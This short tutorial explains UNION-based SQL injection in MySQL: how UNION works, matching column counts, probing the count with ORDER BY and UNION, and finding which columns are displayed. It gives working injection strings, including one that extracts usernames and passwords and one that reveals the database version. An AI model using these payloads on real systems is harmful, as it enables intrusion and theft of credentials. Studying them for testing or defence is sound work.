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e-Union Clause

2 min read

We can inject entire SQL query to be executed along with the original query.

Union

Union clause is used to combine results from multiple SELECT statements.

We can use Union as such:

mysql> SELECT * FROM ports UNION SELECT * FROM ships;
 
+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-21    | Shenzhen  |
+----------+-----------+
4 rows in set (0.00 sec)

Even Columns

Union statement only operates on SELECT statements with an equal number of columns.

If we try to Union two queries with different number of columns, we get an error:

mysql> SELECT city FROM ports UNION SELECT * FROM ships;
 
ERROR 1222 (21000): The used SELECT statements have a different number of columns

Query below will return username and password from the passwords table, assuming products table has two columns:

SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '

Un-even Columns

Original query usually doesn’t have the same number of columns as the SQL query we want to execute.

Let’s say products table has two columns, so we have to UNION with two columns as such:

SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords

Union Injection

Detect number of columns

Let’s say we identified SQL injection vulnerability. Before exploiting it, we need to identify number of columns.

There are two ways:

  • Using ORDER BY
  • Using UNION

ORDER BY

We can start with order by 1 and increment until we get an error.

The final successful column we successfully sorted gives us the number of columns.

e.g

' order by 1-- -

UNION

Attempt with a different number of columns until we successfully get the results back:

cn' UNION select 1,2,3-- -

Location of Injection

Now that we have identified number of columns, we have to identify injection point.

Web app may only display certain columns, not all of them.

We can test out each column as such:

cn' UNION select 1,@@version,3,4-- -

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